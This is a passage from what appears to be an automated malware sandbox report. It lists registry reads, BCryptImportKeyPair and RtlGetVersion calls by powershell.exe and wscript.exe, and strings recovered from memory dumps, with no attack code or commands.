"HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME")27:T4d3,"powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\USER PROFILE"; Key: "LANGUAGES") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\GEO"; Key: "NATION") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "LOCALENAME") "wscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "wscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "wscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "wscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "wscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN")28:T128b,"powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb55dc9c40" "pszBlobType": "RSAPUBLICBLOB" "phKey": "b00a6e71bb020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb55dc9c40" "pszBlobType": "RSAPUBLICBLOB" "phKey": "40086e71bb020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb55dc9c40" "pszBlobType": "RSAPUBLICBLOB" "phKey": "300c6e71bb020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb55dc9c40" "pszBlobType": "RSAPUBLICBLOB" "phKey": "60127071bb020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb55dc9c40" "pszBlobType": "RSAPUBLICBLOB" "phKey": "90157071bb020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb55dc9c40" "pszBlobType": "RSAPUBLICBLOB" "phKey": "90187071bb020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb55dc9c40" "pszBlobType": "RSAPUBLICBLOB" "phKey": "80046e71bb020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb55dc9c40" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e00d6e71bb020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb55dc9c40" "pszBlobType": "RSAPUBLICBLOB" "phKey": "00f57271bb020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb55dc9c40" "pszBlobType": "RSAPUBLICBLOB" "phKey": "20f37271bb020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb55dc9c40" "pszBlobType": "RSAPUBLICBLOB" "phKey": "40b17371bb020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb55dc9c40" "pszBlobType": "RSAPUBLICBLOB" "phKey": "80b67371bb020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb55dc9c40" "pszBlobType": "RSAPUBLICBLOB" "phKey": "00ac7371bb020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb55dc9c40" "pszBlobType": "RSAPUBLICBLOB" "phKey": "c0b27371bb020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb55dc9c40" "pszBlobType": "RSAPUBLICBLOB" "phKey": "P`wq" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb55dc9c40" "pszBlobType": "RSAPUBLICBLOB" "phKey": "00b27371bb020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb55dc9c40" "pszBlobType": "RSAPUBLICBLOB" "phKey": "c0af7371bb020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb55dc9c40" "pszBlobType": "RSAPUBLICBLOB" "phKey": "10b17371bb020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb55dc9c40" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e0aa7371bb020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb55dc9c40" "pszBlobType": "RSAPUBLICBLOB" "phKey": "10ba7371bb020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb55dc9c40" "pszBlobType": "RSAPUBLICBLOB" "phKey": "d0b77371bb020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb55dc9c40" "pszBlobType": "RSAPUBLICBLOB" "phKey": "20bf7371bb020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "2bb7170c400" "pszBlobType": "RSAPUBLICBLOB" "phKey": "d0267671bb020000" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"}29:T38f4,"powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006036) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006036) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac3d58bb020000000000000000000051ed0217f87f000000000000bb0200000000000000000000a0d31c9e2ec000002a00000000000000c0b6d755bb0200008fec0217f87f0000e0ac3d58bb020000e0ac3d58bb020000000000000000000000000000f87f0000ffffff7f948b000000000000000000000000000000000000d8ce3158bb0200002a0000000000000069c3ea57bb020000310000000000000058020000000000005c02000000000000110001100000000040e193faca00000003a3aa16f87f000040e193faca00000000000000000000002b00000000000000000000000000000020b0f057bb020000b43fef57bb020000e0ce3158 (UID: 00000000-00006036) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000001000000000000000e000000000000000e0000000000000070000000000000000000000000000000f0190156bb0200000000a70000000000270000000100000000000000000000008000000000000000800000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006036) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000360d00000000000020d993faca0000000400000000000000808e465bf001000006000000000000000300000000000000a7400314f87f000000000000000000000000000000000000000000000000000001010000000000008067da55bb0200000a000000000000000000000000000000000000000000000043003a005c00550073006500720073000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004980017f87f00000000000000000000000000000000000000000000 (UID: 00000000-00006036) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000a011cf55bb02000000000000000000000000cf55bb02000000b0b4faca000000000000000000000000000000000000000000000000000000000000000000000028002a0000000000c00ccf55bb0200000b000000000000004000000000000000c0d193faca00000000000000000000000000000000000000000000000000000000000000000000000400000000000000200dcf55bb02000000000000000000000000cf55bb02000000b0b4faca00000040000000bb0200000000000000000000320000000000000000000000000000000000000000000000ffffffffbb02000000000000 (UID: 00000000-00006036) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000000b0b4faca00000040000000bb0200000000000000000000320000000000000000000000000000000000000000000000ffffffffbb0200000000000000000000000000000000000010d6d855bb02000000e593faca0000007490d855bb020000f09ada55bb020000000000000000000000000000000000000000000000000000000000000000000000000000000000008088d855bb0200009488d855bb0200008088d855bb020000feffffffffffffff000000000000000092f5d755bb02000000000000000000000000000000000000000000000000000090d293faca0000003200000000000000c0d193faca000000e0d193faca00000000c7da55 (UID: 00000000-00006036) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000fa0c00000000000060bc93faca000000c82183192d7f0000d01d455bf00100001affff7f000000002000000000000000a7400314f87f0000a0c993faca000000000000000000000088c393faca000000e30000000000000090dad855bb0200002b0000000000000010c393fa987880574f8c6244bb63710443003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f006600740000000000cd0b000088c393faca0000000000000004980017f87f00000000000000000000000000000000000000000000 (UID: 00000000-00006036) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000006018cf55bb02000000000000000000000000cf55bb02000000b0b4faca00000000000000000000000000000000000000000000000000000000000000000000006c006e0000000000c00ccf55bb0200000300000000000000800000000000000000b593faca00000000000000000000000000000000000000000000000000000000000000000000000800000000000000a014cf55bb02000000000000000000000000cf55bb02000000b0b4faca00000040000000bb0200000000000000000000760000000000000000000000000000000000000000000000ffffffffbb02000000000000 (UID: 00000000-00006036) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000010d6d855bb02000040c893faca000000386ad855bb020000c0d8da55bb02000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000feffffffffffffff000000000000000000f5d755bb0200000000000000000000000000000000000001000000000000000000000000000000a0e2da55bb02000010000000000000007f0300000000000000000000 (UID: 00000000-00006036) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000d60c00000000000000ae93faca000000043083192d7f000010ad465bf00100002cffff7f000000003200000000000000a7400314f87f0000000000000000000000000000000000000000000000000000d100000000000000408fd855bb0200003e000000000000000000000000000000000000000000000043003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c005300740061007200740020004d0065006e00750000000000000004000105 (UID: 00000000-00006036) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000e016cf55bb02000000000000000000000000cf55bb02000000b0b4faca00000000000000000000000000000000000000000000000000000000000000000000009200940000000000c00ccf55bb0200000700000000000000b000000000000000a0a693faca00000000000000000000000000000000000000000000000000000000000000000000000b00000000000000e016cf55bb02000000000000000000000000cf55bb02000000b0b4faca00000040000000bb02000000000000000000009c0000000000000000000000000000000000000000000000ffffffffbb02000000000000 (UID: 00000000-00006036) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000c00c000000000000d0a693faca0000001e3783192d7f000030ef445bf001000037ffff7f000000003d00000000000000a7400314f87f0000a0a693faca000000c0a693faca0000000000db5502000000c600000000000000907fd955bb02000047000000000000000200000000000000000000000000000043003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c005300740061007200740020004d0065006e0075005c00500072006f006700 (UID: 00000000-00006036) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000002016cf55bb02000000000000000000000000cf55bb02000000b0b4faca0000000000000000000000000000000000000000000000000000000000000000000000a400a60000000000c00ccf55bb0200001300000000000000c000000000000000709f93faca00000000000000000000000000000000000000000000000000000000000000000000000c000000000000002016cf55bb02000000000000000000000000cf55bb02000000b0b4faca00000040000000000000000000000000000000ae0000000000000000000000000000000000000000000000ffffffffbb02000000000000 (UID: 00000000-00006036) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000ae0c000000000000a09f93faca0000003c3e83192d7f0000a0a4465bf001000040ffff7f000000004600000000000000a7400314f87f0000709f93faca000000909f93faca0000000000008502000000bd00000000000000808ed955bb0200005a000000000000000200000000000000000000000000000043003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c005300740061007200740020004d0065006e0075005c00500072006f006700 (UID: 00000000-00006036) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000002020207200000000000309993faca000000ffffffffffffffff01000000000000005c9993faca000000000000003307020233072e0000000000f50000000000000000000000000000001d55e86e3bdb00002100002100000000ca00cc0000000000ffffffff000000000004000000000000983cff16f87f0000309893faca000000309993faca000000ffffffff000000000000000000000000309893faca000000e6740214f87f00007f0000000000000000040000000000000000cf55bb02000000b0b4faca000000309993faca000000ffffffff00000000000000000000000000000000000000000000000000000000ffffffffbb02000000000000 (UID: 00000000-00006036) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000000b0b4faca000000309993faca000000ffffffff00000000000000000000000000000000000000000000000000000000ffffffffbb0200000000000000000000000000000000000010d6d855bb02000080ab93faca000000a85dda55bb020000d003db55bb0200000000000000000000000000000000000000000000000000000000000000000000100000000000000080000000000000002853da55bb02000010fcd855bb020000feffffffffffffff210000000100000034f6d755bb0200008000000000000000100000000000000000000000000000000000000000000000d400000000000000570069006e0064006f00770000000000cce6ffff (UID: 00000000-00006036) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000 (UID: 00000000-00006036) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000006f9cda55bb020000cb010000000000006f9cda55bb020000847dd555bb02000006020000000000000200000200000000010000004d006900630072006f0073006f006600740000005216084cbb020000d7499613f87f000000000000000000002004db55bb0200004701004600000000a0b693faca0000005216084c00000000cb010000000000000200000200000000028765d49832000000000000000000000000000000000000000000000000000000359213f87f00001014db55bb020000d6670017f87f0000cb0100cabb02000062870414f87f00005216084c0000000006020000000000000000000000000000ffffffffbb02000000000000 (UID: 00000000-00006036) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a0017f87f00000000d555bb020000000000000000000000000000000000000000d555bb020000629965d498320000d6670017f87f0000efbe000000000000c88bd855bb0200001087d855bb020000c88bd855bb020000000000000000000058d2da55bb02000068b593faca000000b49d9113f87f000020cdd855bb020000d6670017f87f0000ffffffff0000000080a8da55bb020000000000000000000000000000000000000100000000000000000000000000000020d1da55bb0200009c969213f87f00003041da55bb0200000c00000000000000080000000000000031d48116f87f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00006036) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a0017f87f00000000d555bb020000000000000000000000000000000000000000d555bb020000629965d498320000d6670017f87f0000efbe000000000000c894d855bb0200001087d855bb020000c894d855bb020000000000000000000008d6da55bb02000068b593faca000000b49d9113f87f000020cdd855bb020000d6670017f87f0000ffffffff0000000070a4da55bb0200000000000000000000000000000000000001000000000000000000000000000000d0d4da55bb0200009c969213f87f00003041da55bb0200000c00000000000000080000000000000031d48116f87f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00006036) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a0017f87f00000000d555bb020000000000000000000000000000000000000000d555bb020000629965d498320000d6670017f87f0000efbe000000000000b88fd855bb0200001087d855bb020000b88fd855bb02000000000000000000002828db55bb02000068b593faca000000b49d9113f87f000020cdd855bb020000d6670017f87f0000ffffffff0000000050a1da55bb0200000000000000000000000000000000000001000000000000000000000000000000f026db55bb0200009c969213f87f00003041da55bb0200000c00000000000000080000000000000031d48116f87f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00006036) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a0017f87f00000000d555bb020000000000000000000000000000000000000000d555bb020000629965d498320000d6670017f87f0000efbe000000000000d890d855bb0200001087d855bb020000d890d855bb02000000000000000000002828db55bb02000068b593faca000000b49d9113f87f000020cdd855bb020000d6670017f87f0000ffffffff0000000070a4da55bb0200000000000000000000000000000000000001000000000000000000000000000000f026db55bb0200009c969213f87f00003041da55bb0200000c00000000000000080000000000000031d48116f87f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00006036)2a:T6e6,Found string "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" (Indicator: "mozilla/4.0 ("; Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found string "User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" (Indicator: "mozilla/4.0 ("; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" (Indicator: "user-agent: "; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" (Indicator: "mozilla/4.0 ("; Source: "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E8880000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found string "User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" (Indicator: "mozilla/4.0 ("; Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found string "User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" (Indicator: "user-agent: "; Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E8880000.00000004.mdmp")2b:T3270,"y\Machine\Software\Classes\AppID\wscript.exe" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "74-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp 00000000-00003076.00000001.257334.79F30000.00000004.mdmp 00000000-00003076.00000002.259256.7A160000.00000004.mdmp "Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp 00000000-00003076.00000001.257334.79F30000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}Z" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows\CurrentVersion|CurrentType" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\PriorityControl|Win32PrioritySeparation" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows\CurrentVersion|RegisteredOrganization" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\ProductOptions|ProductSuite" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! ProductId" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! VersionNumber" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|RegisteredOwner" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|ProductId" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "Win32Registry|HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl|AutoReboot" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "Software\Microsoft\Windows Script Host\Settings" in Source: 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp "SOFTWARE\Classes\%s\%s" in Source: 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp "-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8" in Source: 00000000-00003076.00000001.257334.762F0000.00000004.mdmp 00000000-00003076.00000002.259256.762F0000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D8B858BD-F5F1-4FA3-972A-D0C63DD54CF5}" in Source: 00000000-00003076.00000001.257334.762F0000.00000004.mdmp 00000000-00003076.00000002.259256.762F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000001.257334.762F0000.00000004.mdmp 00000000-00003076.00000002.259256.762F0000.00000004.mdmp 00000000-00003076.00000002.259256.763CF000.00000004.mdmp "i\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000001.257334.762F0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000" in Source: 00000000-00003076.00000001.257334.762F0000.00000004.mdmp 00000000-00003076.00000002.259256.762F0000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{1" in Source: 00000000-00003076.00000001.257334.762F0000.00000004.mdmp 00000000-00003076.00000002.259256.762F0000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00003076.00000001.257334.762F0000.00000004.mdmp 00000000-00003076.00000002.259256.762F0000.00000004.mdmp 00000000-00003076.00000002.259256.763CF000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00003076.00000001.257334.762F0000.00000004.mdmp 00000000-00003076.00000002.259256.763CF000.00000004.mdmp "Registry\Machine\Software\Classes\TypeLib\{420B2830-E718-11CF-893D-00A0C9054228}" in Source: 00000000-00003076.00000002.259256.762F0000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000002.259256.7A160000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000002.259256.7A160000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000002.259256.7A160000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000002.259256.7A160000.00000004.mdmp "-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{85" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}Z" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp 00000000-00005276.00000002.259252.E8AC0000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp 00000000-00005276.00000001.257334.E8880000.00000004.mdmp 00000000-00005276.00000002.259252.E8AC0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "stry|Software\" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Win32Registry|Software\Microsof'" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows\CurrentVersion|CurrentType" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\PriorityControl|Win32PrioritySeparation" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows\CurrentVersion|RegisteredOrganization" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\ProductOptions|ProductSuite" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! ProductId" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp 